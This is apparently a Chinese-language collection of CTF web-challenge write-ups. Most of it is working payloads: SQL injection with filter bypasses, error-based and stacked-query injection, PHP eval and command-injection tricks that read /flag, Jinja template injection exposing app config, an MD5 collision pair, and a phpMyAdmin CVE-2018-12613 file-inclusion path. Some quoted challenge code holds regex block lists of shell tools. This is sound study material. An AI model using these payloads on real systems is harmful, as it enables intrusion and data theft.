有一个登录框,试了试万能密码失败,那就注册吧
登录后发现有一个申请广告,在标题处输入11111111’,发现报错,应该是sql注入
禁用了or,空格等等,先使用union发现有22列
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
后面发现还可以用-1'/**/group/**/by/**/22,'1
,一样可以爆出为22列
查看数据库:-1'/**/union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
接下来卡住了,看师傅wp,发现过滤了information_schema,使用师傅的payload:
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
接下来是无列名注入,举栗子说明一下:
先是正常的查询:select * from users;
一定要和表的列数相同 select 1,2,3 union select * from users;
若可用 ` 的话
select `3` from (select 1,2,3 union select * from users)a;
若不可用的话也可以用别名来代替
select b from (select 1,2,3 as b union select * from users)a;
那么即可构造payload如下
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
尝试另一个师傅的payload中使用sys.schema_auto_increment_columns
和sys.schema_table_statistics_with_buffer
发现都不存在,与环境有关吧
参考:
mysql.innodb_table_stats
聊一聊bypass information_schema
SWPUCTF 2019 web
看不懂,查看wp
当我们的price超过9时,会出现一个提示
查看源码提示utf-8很重要。。。。。。
猜测只要购买了第四只独角兽,就能获取flag,于是我们需要找到一个字符比1337大的数字也就是utf-8编码的转换安全问题
在下面网站找到大于1337.0的字符即可:Unicode
这里我就找了和师傅一样的,实在不知道怎么找
UTF-8 Encoding: 0xE1 0x8D 0xBC。将0x换为%即可
传入%E1%8D%BC
得到flag
参考:[ASIS 2019]Unicorn shop
看到新生赛,松了一大口气,终于能写了qaq
点击tips发现很明显的文件包含,伪协议即可
?file=php://filter/read=convert.base64-encode/resource=flag.php
今天的最后一题
虽然我是萌新,但还是要说一句:真实
url上面有cmd,可能是命令执行,随后就看了wp
解密img的参数:base64->base64->hex
为555.png,那么反推index.php,hex->base64->base64,最后再base64解码一次,即可得到index.php的源码
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "";
echo "
";
}
echo $cmd;
echo "
";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "
";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
发现为md5强碰撞,我之前写php时写过的,直接套用
a=%90%2F%0B%11%0D%1A2%C8%04%C5%F4%14%D7%8D%AA%02vC%1F%0Fs%B4%0D%06%24%BE%7EM%97%22%92%DFd%F1%CB%F9L%2B%3BA%CB%05Dy%166%7D0%94%7E4g%5E%F0%8DZ%3Fu%CA%A4%CD%F09D%27%E8L%D1Z%40%B0%A8g%A4%C4%DCM%7D%EE%0A%82%8E%85L%11%86%16i%D1Z%7EG%EC%07%FEo%26e%C6%15%F2%CC%07%CE%A8km7%98%B8%85%2CD%29%2C%18%05V%96+W%E4%A3%1C%D1%F3%15%CD
b=%90%2F%0B%11%0D%1A2%C8%04%C5%F4%14%D7%8D%AA%02vC%1F%8Fs%B4%0D%06%24%BE%7EM%97%22%92%DFd%F1%CB%F9L%2B%3BA%CB%05Dy%16%B6%7D0%94%7E4g%5E%F0%8DZ%3Fu%CA%24%CD%F09D%27%E8L%D1Z%40%B0%A8g%A4%C4%DCM%7D%EE%0A%82%8E%85%CC%11%86%16i%D1Z%7EG%EC%07%FEo%26e%C6%15%F2%CC%07%CE%A8km7%988%85%2CD%29%2C%18%05V%96+W%E4%A3%9C%D1%F3%15%CD
得到的二进制hash值是一样的
先使用dir,发现没有什么有用的文件
查看根目录发现了flag,dir%20/
空格要url编码才可以
cat被过滤了,可以用c\at来绕过/bin/c\at%20/flag
还可以用sort命令:sort%20/flag
sort将文件的每一行作为一个单位,相互比较,比较原则是从首字符向后,依次按ASCII码值进行比较,最后将他们按升序输出。
SSTI模板注入,不会,查看wp。题目给出了源码:
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/' )
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
模板渲染接受的参数需要用两个大括号括起来{{}}模板注入也在大括号里构造
在shrine路径下测试ssti能正常执行
/shrine/{{ 2+2 }}
由于有过滤,无法直接{{config}},所以使用python的一些内置函数,比如url_for和get_flashed_messages
/shrine/{{url_for.__globals__}}
current_app意思应该是当前app,那我们就当前app下的config:
/shrine/{{url_for.__globals__['current_app'].config}}
还可以使用/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
参考:[WesternCTF2018]shrine
新生赛,舒服了,是一个命令执行
127.0.0.1;ls
发现只有index.php,那么查看根目录试试127.0.0.1;ls /
看到了flag,读取127.0.0.1;cat /flag
想不出来,去看wp,发现是/.git泄露
然后我的unbunt显示空仓库。。。。。在windows下载git指令
下载了好久,最后还是使用迅雷下载成功了,安装完成
最后发现是安装的githack有问题,安装了另一个lijiejie/GitHack
成功得到index.php的源码
include "flag.php";
echo "flag在哪里呢?
";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
a(b();)
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))
首先要得到目录下的文件,可用scandir()函数
那么就要构造.
通过localeconv() 函数返回包含本地数字及货币信息格式的数组,而数组第一项就是.
current() 返回数组中的当前单元, 默认取第一个值,current还可以换成其同名函数pos
?exp=print_r(scandir(pos(localeconv())));
下面一步就是如何读取倒数第二个数组了:
array_flip()交换数组的键和值。
array_rand()从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回,本题目中scandir()返回的数组只有5个元素,刷新几次就能刷出来flag.php
?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));
不断刷新读取flag
?exp=highlight_file(array_rand(array_flip(scandir(pos(localeconv())))));
array_reverse()以相反的元素顺序返回数组
使用next可读取flag
?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
或者?exp=print_r(readfile(next(array_reverse(scandir(pos(localeconv()))))));
再查看源码
通过session_start()告诉PHP使用session,php默认是不主动使用session的。
session_id()可以获取到当前的session id。
?exp=print_r(session_id(session_start()));
最后readfile:?exp=readfile(session_id(session_start()));
参考:
【CTF Learning】禁止套娃–git泄漏+无参数利用绕正则
[GXYCTF2019]禁止套娃
查看源码得到search.php
先base32后base64解码得
select * from user where username = '$name'
1' union select 1,2,3#
爆出字段为3,后面不知道怎么做了,看wp
把admin 放到第二个位置 不报wrong user的错,username为字段二,password为字段三
1' union select 1,'admin',3#
在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。
那么我们随便传入只要用户名为admin,密码为md5加密的值即可
aaa的md5:47bce5c74f589f4867dbd57e9ca9f808传入:
username:0' union select 1,'admin','47bce5c74f589f4867dbd57e9ca9f808'#
password:aaa
查看大佬wp后,给出源码如下
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
师傅写的太好了,照着学习,就写一下解题过程
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=ls
往上翻文件夹在../../../
找到flag,即为根目录,读取即可
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat ../../../flag
另一种方法:
传?$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
抓包加参数即可
hex2bin()把十六进制值转换为 ASCII 字符
dechex()把十进制转换为十六进制
构造:exec(‘cat /f*’),未成功
?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(27973174078432810)))
构造system(‘cat /*’)
?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211243818)))
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "
";
}
}
}
使用fuzz脚本得到很长一串,找到我们需要构造的字符即可
is_nan^64==>_G
tan^15==>ET
?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag
参考:刷题记录:[CISCN 2019 初赛]Love Math
过滤了and,=,空格,union等多个sql关键字,尝试报错注入
username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=11111
得到数据库geek
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=11111
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=11111
?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=11111
由于updatexml最多显示32的长度,要改为left()和right()来获取数据了
?username=admin'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))%23&password=11111
拼接一起即可得到flag,这里还看到一个师傅的,可以使用异或代替or
admin'^updatexml(1,concat(0x7e,(select(database())),0x7e),1)#
这个题是之前堆叠注入的改编,禁用了rename,alter,但还是可以用handler来写
1'; handler FlagHere open as y1ng; handler y1ng read first; handler y1ng close;#
我试了试没想法,看wp发现要抓包看看
Hint: select * from ‘admin’ where password=md5($pass,true)
ffifdyop
这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,Mysql 刚好又会吧 hex 转成 ascii这个字符串,前几位刚好是 ' or '6
,构造成万能密码
查看源码发现信息
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
弱类型比较,传两个值的md5为0e开头的即可
?a=QNKCDZO&b=s878926199a
或者传数组也行
?a[]=1&b[]=2
最后传入两个数组即可得到flag
param1[]=1¶m2[]=2
参考:
【Jarvis OJ】Login–password=’".md5($pass,true)."’
[BJDCTF2020]Easy MD5
提示:Try to find out source file!
我就开始了目录扫描,结果没扫到,查看wp发现是备份文件/index.php.bak,得到了源码
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
key要属于数字型并与123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3相等,为弱类型,传?key=123
即可
由于是数据库,尝试/phpmyadmin,进入
看wp得出这个是:phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞
影响版本:4.8.0——4.8.1
/phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../flag
%253f是问号的双重url编码
可参考:phpMyadmin后台任意文件包含漏洞分析(CVE-2018-12613)